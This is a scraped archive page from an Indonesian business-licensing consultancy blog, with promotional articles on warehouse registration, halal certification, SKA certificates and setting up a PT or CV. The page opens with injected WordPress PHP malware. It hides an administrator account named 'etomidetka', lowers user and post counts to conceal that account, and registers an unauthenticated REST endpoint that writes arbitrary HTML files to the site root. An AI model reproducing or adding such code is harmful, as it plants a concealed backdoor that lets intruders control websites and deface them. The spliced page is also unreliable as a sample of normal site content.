//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } Mendirikan CV Termurah Archives - Jasa Izin Usaha Solo Jasa Izin Usaha Solo

Jasa Izin Usaha Solo Perizianna Usaha Terbaik Di Solo

September 21, 2021

Pengurusan Ijin Usaha TDG (Blora)

Pengurusan Ijin Usaha TDG (Blora)

Pengurusan Ijin Usaha TDG (Blora) — Perkembangan bukan hanya ada dalam sektor ilmu pengetahuan atau teknologi, namun juga bisnis dan industri.

Tidak heran begitu banyak pengusaha di Indonesia yang mulai mengembangkan bisnis mereka.

Bukan hanya dari segi branding, namun juga kualitas produk yang akan mereka jual kepada calon konsumen.

Karena banyaknya perkembangan bisnis dan kuantitas produk berbentuk barang pun semakin bertambah, maka tak heran jasa pergudangan mulai bermunculan.

Namun terlepas dari itu semua, mendirikan usaha di bidang jasa pergudangan juga memerlukan syarat-syarat tertentu yang harus di penuhi terlebih dahulu. Khususnya dalam hal perizinan usaha.

Lantas apakah Anda tahu perizinan usaha apa yang sekiranya cocok untuk jasa pergudangan Anda? Berikut akan kami jelaskan secara rinci di artikel kali ini. Simak baik-baik ya!

TDG (Tanda Daftar Gudang)

TDG atau Tanda Daftar Gudang adalah bukti pendaftaran gudang yang di berikan kepada pemilik gudang.

Pemilik gudang nantinya akan melakukan pendaftaran gudang berdasarkan golongan, luas dan kapasitas penyimpanan.

Setiap pemilik gudang di wajibkan untuk memiliki TDG. Apabila tidak memiliki, maka pemilik gudang akan terancam memperoleh sanksi.

Bahkan bukan tidak mungkin, jika nantinya gudang yang di miliki akan di tutup atau denda sesuai dengan ketentuan peraturan perundang-undangan.

Syarat Pembuatan TDG Di Blora

  • Surat Permohonan yang di tanda tangani di atas materai Rp. 6.000,-
  • Surat Pernyataan kesanggupan melaksanakan dan mematuhi ketentuan yang berlaku di lengkapi materai Rp. 6.000,-
  • Soft file KTP (Kartu Tanda Penduduk) Pemohon/KITAS/Passport (khusus untuk yang berdomisili di luar daerah tertentu)
  • Melampirkan IMB (Izin Mendirikan Bangunan) asli beserta gambar
  • Sertifikat/bukti penguasaan tanah dan/atau bangunan sebagai gudang
  • Melampirkan NIB (Nomor Induk Berusaha)
  • Fotokopi Izin Teknis yang di miliki (misalnya seperti SIUP, TDP, IUI, TDUP dan lain sebagainya) untuk Badan Usaha
  • Melampirkan pas foto digital terbaru berwarna pemilik/pengelola gudang berukuran 4×6
  • Melampirkan Surat Keabsahan dan Kebenaran atas dokumen di sertai materai Rp. 6.000,-
  • TDG (Tanda Daftar Gudang) lama bagi perusahaan/perorangan yang memperpanjang/merubah TDG
  • Melampirkan Surat Keterangan Kehilangan asli yang di keluarkan pihak yang berwenang/Kepolisian (jika SK) hilang/SK mengalami kerusakan/SK tidak dapat terbaca

Estimasi Pengerjaan Pembuatan TDG

Umumnya proses pengerjaan pembuatan TDG akan selesai dalam kurun waktu 14 hari kerja. Dengan catatan, semua persyaratan yang di butuhkan untuk pembuatan TDG telah terkumpul.

Nah! Sampai sini sudah cukup paham bukan dengan apa saja syarat yang harus Anda siapkan untuk pembuatan TDG?

Jika Anda mengalami kesulitan dalam mengurus pembuatan TDG atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pembuatan TDG .

Mengapa harus mengurus pembuatan TDG di POPJASA ?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Baca Juga : Langkah Mudah Mengurus Perizinan Usaha Di PopJasa

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

Alamat Kantor Pusat POPJASA:

Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

Alamat Kantor CABANG POPJASA:

Perumahan Tohudan Indah 2 Blok A3, Merten, Tohudan, Kec. Colomadu, Kabupaten Karanganyar

Kontak POPJASA:

September 20, 2021

Jasa Pengurusan Sertifikasi MUI Halal Sukoharjo

Jasa Pengurusan Sertifikasi MUI Halal Yogyakarta

Jasa Pengurusan Sertifikasi MUI Halal Sukoharjo— Pengusaha dengan produk utama berupa makanan, minuman dan kosmetik terkadang membutuhkan sertifikasi tertentu. Khususnya sertifikasi MUI Halal.

Sertifikasi MUI Halal sendiri merupakan sertifikat yang menyatakan bahwa produk seperti makanan, minuman dan kosmetik atau produk lainnya tidak mengandung unsur yang di haram kan.

Sertifikasi ini juga mengedepankan produk makanan, minuman dan kosmetik atau produk lainnya yang memiliki kandungan sekaligus cara pengelolaan yang di lakukan dengan metode produksi sesuai dalam ajaran syariat agama Islam.

Pentingnya mengantongi sertifikasi ini membuat pemerintah Indonesia pun membuat peraturan khusus seputar MUI Halal seperti yang telah tercantum dalam Undang-undang No. 3 Tahun 2014 tentang Jaminan Produk Halal.

Namun sayangnya kebanyakan pengusaha seringkali menunda-nunda, bahkan enggan mengurus Sertifikasi MUI Halal dengan berbagai macam alasan.

Padahal Sertifikasi MUI Halal sangat penting untuk di miliki. Apalagi jika produk yang di pasarkan berupa makanan, minuman, kosmetik atau produk-produk lain seperti kimiawi dan biologi.

Tetapi jika setelah melihat artikel ini Anda mulai merasa perlu untuk mengurus Sertifikasi MUI Halal, namun kendala Anda adalah tidak tahu syarat apa yang harus Anda siapkan dalam mengurus pembuatan Sertifikasi MUI Halal, maka tenang saja! Anda tidak perlu khawatir, sebab kami akan menjelaskannya secara tuntas di sini. Simak baik-baik ya!

SYARAT PENGURUSAN SERTIFIKAT MUI HALAL

Umumnya Anda akan di minta untuk melengkapi beberapa persyaratan seperti sebagai berikut:

  • Melampirkan legalitas perusahaan baik berupa UD, CV atau PT
  • Melampirkan NPWP Perusahaan
  • NIB Perusahaan, di lampir kan
  • Daftar nama produk (khusus yang di jual)
  • Daftar semua nama bahan yang digunakan
  • Alur proses produksi (dari tahap awal sampai tahap akhir)
  • Daftar nama dan alamat cabang perusahaan
  • Daftar alamat seluruh fasilitas produksi (termasuk gerai, dapur, gudang dan kantor pusat)
  • Melampirkan fotokopi KTP Pemilik/Direktur dan Komisaris
  • Melampirkan fotokopi KTP seluruh karyawan
  • Menyiapkan email resmi perusahaan
  • Melampirkan nomor telepon Pemilik/Direktur

JASA PENGURUSAN SERTIFIKAT MUI HALAL

Nah! Adapun jika Anda ingin tahu dimana kiranya Anda bisa mengurus pembuatan Sertifikasi MUI Halal dengan proses yang cepat dan tentunya dengan harga yang bersahabat, maka Anda bisa mempercayakan pembuatan Sertifikasi MUI Halal Anda di POPJASA!

Mengapa harus mengurus pembuatan Sertifikasi MUI Halal di POPJASA? Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha yang TERBAIK dan TERPERCAYA!

POPJASA juga telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia.

Wah! Jadi sudah tidak perlu lagi ya Anda meragukan profesionalitas POPJASA, sebab POPJASA sudah terjamin 100% PROFESIONAL dan TERPERCAYA!

Jadi apalagi yang Anda tunggu? Segera urus pembuatan Sertifikasi MUI Halal Anda di POPJASA sekarang!

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

September 4, 2021

Panduaan Lengkap Pembuatan SKA (Blora)

Panduaan Lengkap Pembuatan SKA

Panduaan Lengkap Pembuatan SKA SKA atau Sertifikat Keahlian Kerja adalah bukti kompetensi dan kemampuan profesi tenaga ahli bidang kontraktor atau konsultan dengan kualifikasi sebagai Ahli Utama, Ahli Madya dan Ahli Muda.

SKA sangat dibutuhkan sebagai syarat utama untuk pengurusan sertifikasi dan registrasi badan usaha bidang jasa konstruksi.

Karena badan usaha bidang jasa konstruksi akan membutuhkan tenaga ahli yang bersertifikat keahlian SKA untuk di tetapkan sebagai Penanggungjawab Teknik (PJT) atau Penanggungjawab Bidang (PJB).

SKA di keluarkan oleh asosiasi jasa konstruksi yang telah terakreditasi yaitu Lembaga Pengembangan Jasa Konstruksi (LPJK).

Lantas apakah Anda tahu apa saja syarat-syarat pembuatan SKA ? Jika Anda belum tahu, kami akan menjelaskan secara tuntas di artikel kali ini. Simak baik-baik ya!

Syarat Pembuatan SKA

  1. Pass foto berwarna ukuran 3×4 terbaru
  2. Ijazah minimal D3 (di legalisir)
  3. Fotokopi NPWP pribadi
  4. Fotokopi KTP pribadi

Estimasi Pengerjaan Pembuatan SKA

Umumnya proses pengerjaan pembuatan SKA akan selesai dalam kurun waktu 1 sampai 1,5 bulan. Dengan catatan, semua persyaratan yang di butuhkan untuk pembuatan SKA telah terkumpul.

Manfaat Memiliki SKA

  • Memiliki SKA bertujuan untuk memenuhi syarat undang-undang. Di Indonesia terdapat undang-undang yang mengatur tentang jasa konstruksi dan tertera dengan jelas dalam Undang-undang tentang Jasa Konstruksi No. 18 tahun 1999.

Selain undang-undang, ada pula Keppres dan SK Menteri tentang Pengadaan Jasa Konstruksi. Oleh karena itu, sebagai seorang tenaga ahli yang resmi, sudah merupakan keperluan pokok untuk memiliki SKA .

  • Membuat SKA merupakan bukti pertanggungjawaban kepada masyarakat. Dengan adanya SKA , masyarakat akan mengakui kompetensi Anda sebagai seorang ahli dalam bidang konstruksi.
  • Membuat SKA dapat menjadi acuan industri konstruksi. Sebab dari SKA , umumnya kita akan mudah menilai kualitas dari sebuah industri konstruksi.
  • SKA bisa menjadi penunjang keberhasilan sebuah proyek konstruksi. Karena biasanya pada sebuah proyek konstruksi, para pekerja atau tim di haruskan memiliki sertifikat SKA .

Sampai sini sudah cukup paham bukan apa saja syarat yang harus Anda siapkan untuk pembuatan SKA ?

Jika Anda mengalami kesulitan dalam mengurus pembuatan SKA atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pembuatan SKA .

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien.

September 3, 2021

PERBEDAAN PT DAN CV WONOGIRI

PERBEDAAN PT DAN CV WONOGIRI 

PERBEDAAN PT DAN CV WONOGIRI — Dua bentuk usaha yang paling umum digunakan oleh pengusaha di Indonesia adalah PT (Perseroan Terbatas) dan CV (Commanditaire Vennootschap/Persekutuan Komanditer).

Kedua bentuk usaha tersebut memiliki keunggulan dan kekurangan masing-masing. Namun, PT merupakan badan usaha yang memiliki keuntungan lebih dibanding CV. Salah satunya keuntungan PT yakni memiliki kreadibilitas tinggi.

Dengan adanya kreadibilitas tinggi tersebut, operasional badan usaha berbentuk PT akan lebih mudah dalam melakukan kegiatan apapun, misalnya berpartisipasi dalam tender, lebih dipercaya oleh investor dan memiliki akses yang lebih luas untuk kegiatan bisnis lainnya.

Namun tetap saja, pilihan untuk memilih “kendaraan bisnis” ada di tangan Anda sebagai pengusaha. Karena PT dan CV memiliki keuntungan dan kekurangan yang tentunya tidak sama. Nah, berikut ini penjabaran jelas dan tuntas mengenai perbedaan PT dan CV.

Pengertian PT dan CV

Sebelum membahas perbedaan antara PT dan CV, terlebih dahulu Anda harus mengetahui apa pengertian dari PT dan CV.

Dilansir dari Wikipedia, PT atau Perseroan Terbatas adalah suatu badan hukum untuk menjalankan usaha yang memiliki modal terdiri dari saham-saham, yang pemiliknya memiliki bagian sebanyak saham yang dimilikinya.

Masih dari lansiran yang sama, CV atau Commanditaire Vennootschap/Persekutuan Komanditer adalah suatu bentuk badan usaha berupa persekutuan yang didirikan oleh dua orang atau lebih dimana sebagian para anggotanya memiliki tanggungjawab yang tak terbatas, sedangkan sebagian anggota lainnya memiliki tanggungjawab yang terbatas.

Perbedaan PT dan CV

Setelah memahami perbedaan antara PT dan CV, maka berikut ini merupakan perbedaan dari kedua bentuk usaha tersebut:

  • Status Hukum dan Bentuk Perusahaan

Perbedaan utama dari PT dan CV adalah bentuk perusahaan dengan dasar hukumnya. PT saat didirikan harus sesuai dengan peraturan tertulis dalam Undang-undang No. 40 Tahun 2007 tentang Perseroan Terbatas.

 

PT memiliki badan hukum yang bisa digunakan untuk usaha dalam skala kecil, menengah atau bahkan besar.

Sedangkan CV bukan usaha berbadan hukum. Sebab tak ada peraturan tertentu yang mengaturnya, sehingga CV lebih banyak dipilih oleh para penggiat Usaha Kecil Menengah (UKM) sebagai “kendaraan bisnis” mereka.

 

  • Syarat Pendirian PT dan CV

Selanjutnya mengenai syarat pendirian usaha.

Adapun ketentuan umum untuk pendirian PT adalah:

  • Didirikan oleh minimal 2 (dua) orang yang sama-sama mengambil bagian saham. Keduanya adalah Warga Negara Indonesia (WNI). Tetapi dalam aturan Penanaman Modal Asing (PMA), Warga Negara Asing (WNA) boleh bergabung.
  • Pendirian berbentuk Akta Notaris dibuat dalam Bahasa Indonesia.
  • Harus memperoleh pengesahan dari Menteri Hukum dan Hak Asasi Manusia supaya dapat berstatus hukum.

Sedangkan ketentuan umum untuk pendirian CV adalah:

  • Didirikan oleh minimal 2 (dua) orang, tetapi tidak memungkinkan WNA sebagai pendiri.
  • Pendirian berbentuk Akta Notaris yang dibuat dalam Bahasa Indonesia.
  • Didaftarkan ke Sistem Administrasi Badan Usaha Kementerian Hukum dan HAM (Kemenkumham).
  • Nama Perusahaan

PT namanya telah diatur secara khusus dalam Pasal 16 UU No. 40 Tahun 2007 yakni: nama perseroan harus didahului dengan frasa “Perseroan Terbatas” atau disingkat menjadi PT.

Nama perseroan juga tidak boleh sama atau mirip dengan nama PT yang sudah ada dan berdiri di wilayah Republik Indonesia, seperti yang sudah diatur dalam PP No. 26 Tahun 1998.

Sementara CV tak ada peraturan secara khusus yang mengatur nama perusahaan, sehingga perusahaan PT terkadang bisa memiliki kesamaan nama dengan perusahaan CV lain.

  • Modal Usaha

Sesuai UU No. 40 Tahun 2007 yang menyatakan bahwa modal dasar PT ditentukan sebagai berikut:

 

Modal dasar minimal Rp. 50.000.000,- kecuali ditentukan lain oleh undang-undang atau peraturan yang mengatur tentang pelaksanaan kegiatan usaha tersebut di Indonesia. Nah, dari modal dasar tersebut, minimal 25% atau sebesar Rp. 12.500.000,- harus ditempatkan dan disetor para pendiri PT selaku pemegang saham.

 

Sedangkan untuk CV, tidak ada peraturan khusus perihal modal usaha. Taka da besaran modal dasar yang wajib dimiliki untuk disetorkan para pendiri.

Besarnya modal awal juga tidak ditentukan, sehingga penyoran modal ini bisa ditentukan dan dicatat secara mandiri oleh pendiri CV.

  • Kepengurusan

Kepengurusan dalam PT wajib memiliki minimal 2 (dua) orang pengurus yang bertindak sebagai Direksi dan Komisaris. Namun, khusus untuk Perseroan Terbuka, diharuskan memiliki minimal 2 (dua) orang anggota Direksi.

 

Apabila Direksi dan Komisaris lebih dari satu orang, maka satu diantaranya bisa diangkat menjadi seorang Komisaris Utama atau Direktur Utama.

 

Sedangkan kepengurusan dalam CV dilakukan oleh minimal 2 (dua) orang yang umum disebut Sekutu Aktif dan Sekutu Pasif.

  • Tujuan dan Kegiatan Usaha

Pertama PT bisa melakukan semua kegiatan usaha yang sesuai dengan maksud serta tujuan pendiriannya, seperti:

  • PT Non-Fasilitas meliputi usaha perdagangan, pembangunan (kontraktor), perindustrian, pertambangan, pengangkutan darat, pertanian, percetakan, pembengkelan dan jasa.
  • PT Usaha Khusus meliputi berbagai kegiatan usaha seperti forwarding, perusahaan pers, perfilman dan perekaman video, pariwisata, radio siaran swasta, pengangkutan udara niaga, serta berbagai jenis usaha lain.

Sedangkan CV memiliki keterbatasan. Mengapa? Karena CV hanya bisa melakukan berbagai kegiatan usaha yang terbatas pada bidang usaha tertentu, seperti perdagangan, pembangunan (kontraktor) sampai dengan Gred 4, perindustrian, perbengkelan, pertanian, percetakan dan jasa.

  • Estimasi Pendirian

Estimasi pendirian PT terhitung cukup lama karena proses mendapatkan pengesahan dari Menteri Hukum dan HAM RI serta mengikuti berbagai prosedur yang cukup panjang. Sehingga wajar bila pendirian PT, membutuhkan jumlah biaya yang jauh lebih besar.

Sedangkan estimasi pendirian CV bisa berjalan lebih singkat, sebab tidak membutuhkan pengesahan khusus dan dari segi biaya juga jauh lebih murah.

  • Kelebihan dan Kekurangan

Bagi Anda yang memilih badan usaha berbentuk PT, maka tentu saja Anda memiliki masa depan bisnis dengan hukum yang jelas dan kelebihan-kelebihan lain, seperti:

  • Para pemilik saham bertanggungjawab sebesar saham yang ditanamkan. Misalnya, perusahaan memiliki hutang, pemilik saham bertanggungjawab hanya sebesar modal yang disetorkan, tidak lebih.
  • Kelangsungan hidup PT terjamin, meski terjadi pergantian kepemilikan.
  • Memperoleh tambahan modal dengan mudah, sehingga PT bisa memperluas usahanya.
  • Pemindahan hak kepemilikan mudah dilakukan dengan menjual saham pada oranglain.
  • Penggunaan sumber modal PT lebih efektif dan efisien, karena dikelola oleh para spesialis.

Sedangkan kekurangan PT, antara lain:

  • Dibutuhkan biaya yang cukup besar untuk mendirikan PT.
  • Proses pendirian PT lebih sulit dibandingkan jenis badan usaha lain.
  • Sebagian pemegang saham menganggap PT merahasiakan laba perusahaan.
  • Dikenakan pajak karena merupakan salah satu subjek pajak itu sendiri. Dividen atau laba bersih yang dibagikan pada para pemegang saham akan dikenakan pajak sebagai pajak pendapatan.

Bagi Anda yang memilih badan usaha berbentuk CV, maka Anda akan memperoleh kelebihan-kelebihan, seperti:

  • Manajemen CV dapat di verifikasi.
  • Kemampuan untuk mendapatkan lebih banyak kredit.
  • Lebih mudah mendirikan CV.
  • Bisa mengumpulkan modal yang lebih besar.
  • Resiko dalam pendirian perusahaan ditanggung bersama-sama oleh seluruh sekutu.
  • CV merupakan pilihan yang cenderung lebih baik untuk tempat penanaman modal.
  • Manajemen dalam badan usaha CV mudah untuk berkembang.

Sedangkan kekurangan CV antara lain:

  • Modal yang telah disetorkan kepada perusahaan sangat susah untuk ditarik kembali.
  • Kekuasaan dan pengawasannya bersifat kompleks.
  • Sekutu Pasif (Sekutu Komanditer) tidak ikut mengelola perusahaan dan hanya mempercayakan modalnya kepada Sekutu Aktif (Sekutu Komplementer), sehingga sering terjadi kurang pengawasan.
  • Apabila terjadi rugi atau perusahaan terbebani oleh hutang, maka semua sekutu bertanggungjawab secara bersama-sama.
  • Operasional CV sangat bergantung dengan Sekutu Aktif.

Nah! Sudah tuntas semua penjelasan mengenai perbedaan antara PT dan CV. Kedua bentuk usaha ini memiliki kelebihan dan kekurangannya masing-masing. Dan sebagai pengusaha, Anda yang paling berhak untuk memilih “kendaraan bisnis” Anda.

Keduanya sama-sama menguntungan, tinggal bagaimana Anda bisa mengelolanya dengan baik agar Anda bisa merasakan keuntungan tersebut.

Kalau Anda masih kebingungan memilih antara PT dan CV sehingga Anda memerlukan konsultan, maka Anda bisa mempercayakan POPJASA sebagai konsultan perizinan dan pendirian usaha Anda.

POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien yang membutuhkan perizinan dan pendirian usaha di seluruh Indonesia!

 

Mengapa Anda Lebih Baik Memilih CV Di Karanganyar

Mengapa Anda Lebih Baik Memilih CV Di Karanganyar 

Mengapa Anda Lebih Baik Memilih CV Di KaranganyarCV (Commanditaire Vennootschap/Persekutuan Komanditer) merupakan kandidat kedua badan usaha yang cukup popular di kalangan pengusaha di Indonesia.

Selain karena langkah dan proses pendiriannya yang mudah, CV juga di akui oleh mayoritas pengusaha sebagai badan usaha yang memiliki cukup banyak keuntungan.

Mau tahu apa saja keuntungan memiliki CV? Berikut ini merupakan keuntungannya:

Ini Keuntungan Mendirikan CV

  • Tidak Ada Modal Minimal

Mendirikan CV di kenal memang tidak memiliki batasan minimal modal. Berapapun modal yang Anda miliki, jika Anda ingin mendirikan CV tentu Anda bisa tetap mendirikannya selama semua syarat-syaratnya telah terpenuhi.

  • Nama Perusahaan Yang Lebih Sesuai

Nama perusahaan yang lebih sesuai akan mudah Anda peroleh jika mendirikan CV. Tentu hal ini berkaitan selama proses pendiriannya.

Baca Juga >> Keuntungan Mendirikan CV 

  • Sistem Pengambilan Keputusan Lebih Cepat

Dalam operasionalnya, CV memiliki sistem pengambilan keputusan umumnya akan lebih cepat untuk di ambil.

  • Sistem Perpajakan Lebih Mudah

Pajak yang harus di setorkan dalam badan usaha CV cenderung lebih mudah dan tidak berbelit. Oleh sebab itu, cukup banyak bisnis start-up yang mengibarkan sayap bisnis mereka dengan mendirikan CV terlebih dahulu.

Jasa Pendirian Usaha

Jika Anda mengalami kesulitan dalam mengurus pendirian CV atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mengurus pendirian CV.

Mengapa harus mengurus proses pembuatan CV Anda di POPJASA?

Karena POPJASA telah diakui sebagai konsultan perizinan dan pendirian usaha yang memiliki pelayanan terbaik, waktu pengerjaan tercepat dengan biaya yang terhemat.

Tidak hanya itu saja, POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien.

Bingung Bikin Perizinan CV? Kami Punya Solusinya!

Bingung Bikin Perizinan CV? Ini Solusinya!

Bingung Bikin  Perizinan CV? Ini Solusinya Sudah lama ingin urus perizinan CV, tapi selalu saja tertunda?

Pertama karena tidak memiliki banyak waktu luang, kedua karena kini pandemi sedang kembali meningkat di seluruh penjuru kota.

Ingin keluar sebentar untuk urus perizinan CV pun jadi harus berpikir dua kali, sebab bisa jadi virus menjangkiti.

Kalau demikian adanya, maka Anda tidak perlu bingung lagi! Percayakan saja langsung proses perizinan CV Anda di POPJASA !

SYARAT PERIZINAN CV

Adapun syarat perizinan CV yang bisa Anda lengkapi adalah sebagai berikut:

  1. Menyiapkan nama CV (sekaligus 3 nama cadangannya dan di anjurkan untuk tidak menggunakan Bahasa Inggris ataupun bahasa asing lain).
  2. Fotokopi KTP pendiri (minimal KTP milik 2 orang pendiri dan bukan berstatus sebagai suami/istri. Bukan pegawai PNS/BUMN/TNI atau pegawai pemerintah lain).
  3. Fotokopi NPWP pribadi dan para pendiri.
  4. Menyiapkan 8 lembar materai Rp. 6.000,-
  5. Fotokopi Sertifikat Tanah/Surat Keterangan Kepemilikan Tanah/Surat Perjanjian tempat usaha sewa-menyewa bagi kontrak/bukan pemilik).
  6. IMB (Izin Mendirikan Bangunan) jika ada.
  7. Stampel CV  (di buat setelah nama CV di setujui).

Bagaimana? Mudah sekali bukan? Dan tentunya dokumen-dokumen yang tertera di atas pun sebagian besar sudah Anda miliki.

JASA PERIZINAN CV 

Yuk segera urus perizinan CV Anda di POPJASA !

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Baca Juga >> Keuntungan Mendirikan CV 

Alamat Kantor Pusat POPJASA:

Ruko Mezzanine Blok A Nomer 10, Jl. Nginden Semolo, Kec. Sukolilo, Kota Surabaya, Jawa Timur 60118

Pebisnis Baru? Ini Prosedur Pendirian CV Solo

Pebisnis Baru? Ini Prosedur Pendirian CV Solo

Pebisnis Baru? Ini Prosedur Pendirian CV Solo– Berikut pengertian Peseroan Komanditer (CV) merupakan salah satu bentuk usaha yang tidak berbadan hukum sebab tidak Undang-Undang Khusus yang mengaturnya. Regulasi CV tertuang di dalam Kitab Undang-Undang Hukum Dagang dan Permenkumham No. 17 Tahun 2018


Tahapan Prosedur Pendirian CV Solo, Berikut ini beberapa hal yang perlu disiapkan sebelum mengajukan izin pendirian CV, antara lain :

  1. Mempersiapkan semua kelengkapan data CV, seperti: nama CV, alamat, susunan pengurus, maksud dan tujuan pendirian CV serta jenis usaha yang dijalankan.
  2. Melakukan pemesanan nama di SABU, gunanya untuk memastikan bahwa nama CV belum dipakai CV lain
  3. Membuat Akta pendirian CV di depan notaris, dengan membawa kelengkapan berikut:
  • Menyiapkan nama CV (sekaligus 3 nama cadangannya dan di anjurkan untuk tidak menggunakan Bahasa Inggris ataupun bahasa asing lain).
  • Fotokopi KTP (Kartu Tanda Penduduk) milik minimal 2 orang, tidak boleh milik suami/istri dan pekerjaan bukan merupakan PNS/TNI/POLRI
  • Fotokopi NPWP (Nomor Pokok Wajib Pajak) pribadi semua pengurus CV
  • Melampirkan fotokopi sertifikat tanah/surat kepemilikan tanah/surat perjanjian tempat usaha sewa-menyewa bagi kontrak/bukan pemilik
  • Melampirkan fotokopi IMB (Izin Mendirikan Bangunan) jika ada
  • Menyiapkan stampel CV (di buat setelah nama CV di setujui)
  • 6 lembar materai Rp. 6.000,-

Baca Juga: Keuntungan Mendirikan CV 


JASA PENDIRIAN CV

Segera urus pendirian CV Anda di POPJASA! Mengapa harus mengurus pendirian CV di POPJASA?

Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha terbaik yang telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia yang membutuhkan perizinan usaha!

Untuk informasi lebih lanjut mengenai pemesanan perizinan, pendirian atau pembuatan izin usaha, Anda dapat menghubungi kami di:

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

Agustus 28, 2021

Manfaat Memiliki SIUP (Wonogiri)

Manfaat Memiliki SIUP (Wonogiri)

Panduan Lengkap Pembubaran CV Kota Solo

Manfaat Memiliki SIUP ( Wonogiri) — Surat Izin Usaha Perdagangan (SIUP) merupakan salah satu dokumen yang di perlukan untuk memenuhi legalitas usaha agar usaha yang Anda kelola dapat terlindungi dan dapat menjalankan kegiatan usaha dengan aman sesuai hukum yang berlaku.

SIUP adalah izin yang di keluarkan oleh pemerintah berwenang untuk dapat melaksanakan kegiatan usaha di bidang perdagangan, baik itu perdagangan barang dan/atau jasa.

Ketentuan umum SIUP telah di atur dalam Peraturan Menteri Perdagangan No. 36/M-DAG/PER/9/2007 tentang Penerbitan Surat Izin Usaha Perdagangan.

Peraturan tersebut yang telah di ubah sebanyak 3 kali dengan perubahan terakhir yaitu Peraturan Menteri Perdagangan No. 07/M-DAG/PER/2017.

Jenis-jenis SIUP

SIUP di peruntukkan bagi perusahaan yang menjalankan kegiatan usaha perdagangan, namun SIUP tidak hanya terdiri dari 1 (satu) jenis untuk semua perusahaan. SIUP di bedakan menjadi 4 (empat) jenis berdasarkan kekayaan bersih/jumlah modal yang di setor, yaitu:

  • Mikro, apabila kekayaan bersih tidak lebih dari Rp. 50 juta
  • Kecil, apabila kekayaan bersih adalah antara Rp. 50 juta – Rp. 500 juta
  • Menengah, apabila kekayaan bersih adalah antara Rp. 500 juta – Rp. 10 miliar
  • Besar, apabila kekayaan bersih lebih dari Rp. 10 miliar

Kriteria Perusahaan Yang Tidak Di Wajibkan Mengurus SIUP

